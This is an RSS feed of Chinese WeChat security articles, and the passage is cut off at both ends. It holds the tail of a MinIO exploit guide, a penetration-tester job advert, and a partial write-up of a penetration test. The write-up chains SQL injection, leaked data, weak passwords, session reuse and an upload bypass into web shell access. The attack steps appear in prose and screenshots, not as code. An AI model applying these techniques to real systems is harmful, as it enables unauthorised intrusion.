Roman&#34;, serif;">随便写一个，报错会告诉你正确的sha256，后面的就是正确的</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.08333333333333333" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b778d6da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcpmTTZBkWmgN79caNbGAibs4NAG8XlNOVkvThRHJMiaMtnU2rxOIZvGTA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后执行</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.06666666666666667" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e74ece18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcIl4BZO7y5AzVsmC1sDe2Vjd45q6GqiaQL1hiakeYWR7A4AwWPBRYWE3w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">成功~</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.44537037037037036" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=761b68b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rclFJDUXhBkaVfDnblf8ufrRyBicoBLfJyvNGZ0pYvlxNXX9j1cr0nnibw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">但是千万要注意，这个exp会覆盖minio的文件，服务会挂掉的。推编译一个minio最新版然后把自己的代码加入到里面。然后打，这样服务不会挂。</strong></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485620">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f4be293d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485620%26idx%3D1%26sn%3D20815e55406be3cd8c6d5d9fd0f711bf%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 23 Apr 2023 08:00:00 +0800</pubDate>
    </item>
    <item>
      <title>武汉绿盟-高级渗透攻防驻场工程师招聘(12k-18k)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485620&amp;idx=2&amp;sn=01cb84efc3d8272d5492468184dd8d58</link>
      <description>武汉绿盟-高级渗透攻防驻场工程师招聘(12k-18k)</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-04-23 08:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p>武汉绿盟-高级渗透攻防驻场工程师招聘(12k-18k)</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f7f86c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rc5OkVhezLOZiams77OWJhWjy0ckIavBI34EXibATLapx0MOvPWcJx4Mww%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">招聘要求：</h2><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>对授权项目进行深度渗透测试,不限制渗透手法。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>对常见国内外主流软件系统进行漏洞挖掘。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>长期在现场参与客户安全运维和漏洞挖掘工作。</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">岗位要求</h2><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;"><br/></span></span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">熟悉常见的渗透手段，包括但不限于情报整合、边界打点、权限维持、建立隧道、内网移动等；</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">掌握各类常见web漏洞原理、利用、绕过和修复，有大型渗透攻防项目经验；</p><p><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;">  </span><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;">具备漏洞挖掘能力，可以独立挖掘各类高危漏洞；</span><span style="box-sizing: border-box;margin: 10px;font-size: 16px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"></span></p><p><span style="box-sizing: border-box;margin: 10px;font-size: 16px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"></span></p><p style="box-sizing: border-box;margin: 10px;line-height: 1.6;">  具备威胁溯源能力，能够独立编写高质量溯源报告；</p><span style="box-sizing: border-box;margin: 10px;font-size: 16px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><p style="box-sizing: border-box;margin: 10px;line-height: 1.6;">  能够从甲方角度理解安全运营工作，能够对企业安全运维和建设提出建议；</p></span><span style="box-sizing: border-box;margin: 10px;font-size: 16px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><p style="box-sizing: border-box;margin: 10px;line-height: 1.6;">  具备良好的理解分析能力和沟通能力，善于与他人沟通协作；</p></span><span style="box-sizing: border-box;margin: 10px;font-size: 16px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><p style="box-sizing: border-box;margin: 10px;line-height: 1.6;">  具备良好的文档编写能力。</p></span><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">加分项：</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">1.红蓝对抗经历；</p><p><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;">  2.各大SRC核心白帽子或有CVE漏洞提交记录；</span><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;"></span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">3.对企业安全整体架构有一定认识，能够从安全能力评估和脆弱性分析的角度提出优化方案；</p><p><span style="box-sizing: border-box;margin: 10px;font-size: 16px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"></span></p><p style="box-sizing: border-box;margin: 10px;line-height: 1.6;">  4.业务理解能力强，熟悉黑灰产情况、APT、黑灰产常用工具和威胁情报等。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">联系方式</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">liaofangxing@nsfocus.com</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485620">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=46a674cd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485620%26idx%3D2%26sn%3D01cb84efc3d8272d5492468184dd8d58%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 23 Apr 2023 08:00:00 +0800</pubDate>
    </item>
    <item>
      <title>记一次quake快照抓取到getshell目标</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485585&amp;idx=1&amp;sn=67e128496ccad2eec6d80eac9438da7c</link>
      <description>记一次quake快照抓取到getshell目标</description>
      <content:encoded><![CDATA[<p>
原创 <span>诚安</span> <span>2023-04-03 08:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p>记一次quake快照抓取到getshell目标</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f6488791&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIwWhZmHsRkON9IJd4uMceYWUxF4eTLWTPEyIxODrc4EWO4uBOGHCAHw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-size:10.5pt;line-height:173%;font-family:Arial;">0x01背景</span></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: 12pt;font-size: 10.5pt;font-family: Arial;font-weight: normal;direction: ltr;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">给的一个小程序，功能比较简单：</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;">            <shape type="#_x0000_t75" filled="f" style="text-indent:0;left:0;width:249.75pt;height:363.75pt;"><imagedata title="image1"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="1.4564564564564564" style="width:333.010009765625px;height:485.010009765625px;" data-type="png" data-w="333" src="https://wechat2rss.xlab.app/img-proxy/?k=bdd0da20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrI6jpW0f67pzNzIrP6UdtZ5HRTVQdrLQq76ZicF6Znt6icoBbeGkNuQHqg%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">登陆的话，中文用户名（后来才知道的），所以按照常理来说，直接爆破，是需要蛮久的，毕竟还要知道该人员所在的分部门。</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">测试开始，常规porxifier+burp抓包：</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.0922242314647378" style="width:553.47998046875px;height:50.66999816894531px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=2a2690e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIMxG6Kz8nIbtQOX9LADrRWC7X0CTRC63L3tkaHmleAnwyh1PI76AXlA%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-size:10.5pt;line-height:173%;font-family:Arial;">0x02前台sql注入</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">前台登陆后发现个注入点，跑到了后台密码，但是加了salt，用hashcat跑了下弱口令，没跑出来，当前数据库用户也非dba。</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.1301989150090416" style="width:553.280029296875px;height:71.87000274658203px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=86e03143&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIMyfFtGRF3hjDd7TrJNFKr2fUyuKS4AC0zhm7dRYXTibqsKCu7ibF4DHQ%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">一看就感觉是tp框架二开的，发现测试的域名为jcss.xxxxx.com，扫了一波目录，后台地址是backxxx，后台有一次性图形验证码，识别率不高，暴破比较难，又手试了一波弱口令，此路不通。</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">后面去查了下ip，是个阿里云，扫了下端口，发现只开了22，80，443，3306，8888。</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.2938689217758985" style="width:473.010009765625px;height:139.0px;" data-type="png" data-w="473" src="https://wechat2rss.xlab.app/img-proxy/?k=e5ee1f02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIkzXymGesRzzJbHXDnktib8Wtqs7JmEaibu10opwwevMA6WHNUWn1A7FQ%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-size:10.5pt;line-height:173%;font-family:Arial;">0x03quake抓取旁站快照信息泄露+弱口令+getshell</span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">既然是个云服务器，就想着先用hunter，fofa，quake去翻了下该ip历史的扫描信息，发现绑了很多域名，并且用quake看到了一张有意思的图。</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;">            <br/></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">这里直接看到开发留下的测试电话号码，是quake之前爬的记录。</span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.4538878842676311" style="width:552.6799926757812px;height:250.74000549316406px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=5b6c0157&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIoAT3Ul8U4d90nwVedGic4bB2reTJyg8YzViaxge3tibNjia3cJrorE4iaXg%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">但是现在访问无了：</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="1.0904255319148937" style="width:376.010009765625px;height:410.010009765625px;" data-type="png" data-w="376" src="https://wechat2rss.xlab.app/img-proxy/?k=0a332a3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIWD3fRbZr7iaSQ4ZQtTo087yicINWahDWhddzbYXJSaB4Tb0gTo1gXtyQ%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">这里就尝试了手机号+某弱口令，一发入魂，登陆进了前台：</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.27848101265822783" style="width:553.4099731445312px;height:153.8699951171875px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=31a64277&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIkpWz9tDPZhX1sHwR2vfF5wnzW8oqAhy2VW8OXzIY9KXAeMnsKFG2Mg%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">猜了一下，后台肯定也是backxxx，然后手机号+某弱口令（普通用户，没啥功能点），admin+某弱口令，一发入魂：</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.488245931283906" style="width:552.8099975585938px;height:269.94000244140625px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=914f73c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIH8QLhAYlG484elloFRBkicSJ9QhAHnVrtUEHnziaRwOlPQFcqXFaXd5g%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:宋体;">找了个文件上传，一句话上去（但是无法绕过disable_functions）,只能看当前站的目录文件，权限还比较低，到这就先把它放一边了：</span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.29475587703435807" style="width:552.6799926757812px;height:163.39999389648438px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=b9b32a17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIibzMMnTRZ6yJWIolwXoNib90He3m3MicwdQ3Oe2jw1PDUzsXQ8KriahKLw%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"><span style="font-size:10.5pt;line-height:173%;font-family:Arial;">0x04旁站1后台弱口令-》接管目标站后台</span></span><span style="mso-bookmark:_Toc16231;"><span style="font-family:Arial;"></span></span></p><p style="text-align: left;"><span style="mso-bookmark:_Toc16231;"></span><span style="font-family:宋体;">然后测着测着就新发现</span><span style="font-family:Arial;">zt.</span><span style="font-family:Arial;">xxxxx</span><span style="font-family:Arial;">.com</span><span style="font-family:宋体;">后台的弱口令,并且可造成jcss后台的登录绕过，即使用其他网站认证成功session即可登录该系统后台网站（PHP实现多服务器SESSION共享的锅？）</span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:Arial;">zt.</span><span style="font-family:Arial;">xxxxx</span><span style="font-family:Arial;">.com</span><span style="font-family:宋体;">与jcss.xxxxx.com 属于统一ip，并且系统使用框架相同。</span></p><p style="text-align: left;"><span style="font-family:宋体;">测试登录</span><span style="font-family:Arial;">zt.</span><span style="font-family:Arial;">xxxxx</span><span style="font-family:Arial;">.com</span><span style="font-family:宋体;">的backxxx后台存在弱口令（admin/xxxxxxxx）</span></p><p style="text-align: left;"><span style="font-family:宋体;">但是jcss.xxxxx.com的admin账户密码并非xxxxxxxx，且未被破解出来。</span></p><p style="text-align: left;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.5262206148282098" style="width:553.47998046875px;height:291.3399963378906px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=cd35be01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrITJuqOXbLe7I5eWTILWiaD1QUicUqEhtKXGV5AianpH8jsQVic5obEtAn1g%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:Arial;">          <br/></span></p><p style="text-align: left;"><span style="font-family:宋体;">首先登陆zt.xxxxx.com/backxxxx,并获取cookie:</span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.3960216998191682" style="width:553.1400146484375px;height:218.94000244140625px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=5d69b2d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIm08BqSqVcRYNEWRsSia1vg2wWSD43WUukXMibKZ9amaR1ty09z3zG8zw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:宋体;">将PHPSESSID=sf8pxxxxxxxxxxxxxxx69iml02bd4替换到<a href="https://jcss.xxxxxxx.com/并访问https://jcss.xxxxxxxxxx.com/Backxxxxx/Subject/Category/index.html，登录成功" target="_blank">https://jcss.xxxxxxx.com/并访问https://jcss.xxxxxxxxxx.com/Backxxxxx/Subject/Category/index.html，登录成功</a></span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.37906137184115524" style="width:553.5399780273438px;height:210.33999633789062px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=e7575530&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrI7fJhM2icCMSp8kcJuBFV9GU2e2ZzcVQLOmLtWT3LvdnR0UPef2bDw6Q%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-size:10.5pt;line-height:173%;font-family:Arial;">0x04目标站后台getshell</span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:Arial;"><span style="mso-spacerun:yes;">     </span>在后台找了蛮多上传点，发现都有白名单校验，但是还是在一个神奇的功能点，碰上了为数不多的扩展名后缀可自定义的情况：</span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:宋体;">直接上传，无法上传：</span></p><p style="text-align: left;"><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.35507246376811596" style="width:552.2100219726562px;height:196.33999633789062px;" data-type="png" data-w="552" src="https://wechat2rss.xlab.app/img-proxy/?k=364e57ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIckelJH8ibZa0nEhactCM64ibEwZ0DGuBuREsq4vxs1VLmFWMTGlVbjEg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:Arial;font-weight:bold;">          <br/></span></p><p style="text-align: left;"><span style="font-family:宋体;">添加ext，上传绕过：</span><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.3707052441229656" style="width:552.5399780273438px;height:204.60000610351562px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=1623c728&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIRbia4F8FvMCyBBykXoiaDb6HeFYMGZOkIgRz7bBmtlOQ9xAVY52UaibOQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-family:Arial;font-weight:bold;"></span></p><p 